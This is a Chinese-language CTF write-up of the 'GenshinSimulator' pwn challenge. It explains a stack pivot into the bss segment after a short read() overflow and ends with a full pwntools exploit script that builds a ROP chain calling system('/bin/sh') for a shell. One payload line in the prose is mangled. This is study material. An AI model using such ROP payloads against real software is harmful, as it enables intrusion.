2021-05-02

原神-栈转移

先回忆一下学长上次的解题要点讲解:

  1. 数据在内存中,是没有指定格式的
  2. 一些整型数据,刚好可以对应字符串
  3. 利用已映射的字符串,作为system的参数

如果找不出到题目真正的考点,或者写不出自动抽卡脚本,就只有用栈转移的暴力方法来做了

程序分析

拿到程序,首先checksec检查一下
2021-05-02
No PIE,NO canary,意味着可以少写一点exp
IDA ,F5直接定位到可导致栈溢出的函数:read()
2021-05-02
因为只有NX保护,所以按理说是比较好getshell的,但是此处的read函数,只接受0x58个字符串,再来看看栈中,要达到溢出,至少要0x30个字符,能够利用的,只有40个byte
2021-05-02
如果要用常规方法getshell,payload至少要有占据:

fake_ebp = p64(0xdeadbeef) 
pop_ret = p64(ga_addr) 
sh_addr = p64(bin/sh_addr) 
sys_addr = p64(system_addr) 
ret_addr = p64(read_addr) 

40 byte根本不够用。这个时候,就能利用栈转移在另一个地方重新布置rop链了。具体原理见ctfwiki->Fancy ROP。

实现及exp

这里使用bss段作为栈迁移的地址,为了防止影响其他的数据,所以选择bss + 0x500作为栈转移地址

bss_addr = elf.bss(0x500)

system函数地址:

sys_addr = elf.symbols[“system”]

返回地址:
2021-05-02
一般选择上一个函数结束的位置作为返回地址

payload1 = b'a' * 0x30 + payload = bytes('a' * 0x30,"utf-8") +p64(bss_addr) + p64(read_main)
payload = payload.ljust(0x58,b'b')

附加调试器在发送payload之前观察运行情况

gdb.attach( p )
2021-05-02
可以看到,执行leave指令后,RBP变成了BSS段的地址,ret的返回地址为read_main的地址,而再往下,就会执行到read函数.
2021-05-02
可以看到,再这个地方,read的地址地址参数也变成了bss段的地址,和我们原来的bss段的地址相差E0 - B0 = 0x30,这个地方需要注意一下,后面布栈会用到

栈转移和控制程序执行流都成功一半,再来编写后面的payload,后面的payload主要有:

padding + pop + bss_addr + sys_addr

先放上已经写好的payload的调试执行流程

2021-05-02
可以看到pop rdi的目标RSP指向的是0x6027e0,也就是最开始我们迁移到bss段地址的地方,但是read却把读入的字符串存储到0x6027b0,所以再写第二个payload的时候,要注意加上偏移,才能正确控制执行流,而且要确保padding + pop + bss_addr + sys_addr中,bss_addr的地址,和/bin/sh的地址一致

那么就有了payload2:

payload = b'a'* 48 + b'/bin/sh\x00' + p64(pop_rdi) + p64(bss_addr) + p64(sys_addr)
payload = payload.ljust(0x58,b'b')   

exp:

#调试的时,gdb输入命令set follow-fork-mode parent
from pwn import *
context.log_level = "debug"

p = process("/mnt/c/Users/FALLEN/OneDrive/ctfprac/pwn/Genshin/GenshinSimulator")
elf = ELF("/mnt/c/Users/FALLEN/OneDrive/ctfprac/pwn/Genshin/GenshinSimulator")

bss_addr = elf.bss(0x500)
print(bss_addr)
sys_addr = elf.plt["system"]
read_main = 0x0000000000400C63
pop_rdi=0x400d13 #pop rdi ; ret

p.recv()
p.sendline('3')
p.recv()
p.sendline('1')
p.recv()
#gdb.attach(p)
payload = bytes('a' * 0x30,"utf-8") +p64(bss_addr) + p64(read_main)
payload = payload.ljust(0x58,b'b') #很重要,如果不填充,会影响下次一的数据输入
p.send(payload)
sleep(5)
payload = b'a'* 48 + b'/bin/sh\x00' + p64(pop_rdi) + p64(bss_addr) + p64(sys_addr) #一直填充到0x30,才能添入/bin/sh,应该是
payload = payload.ljust(0x58,b'b')                                                 #read的时候,执行了sub rsp 0x30,而bss_addr对应的地址又刚好是栈中RBP的地址
p.send(payload)
#gdb.attach(p)
p.interactive()

上一篇:JarvisOJ level3_x64


下一篇:mary_morton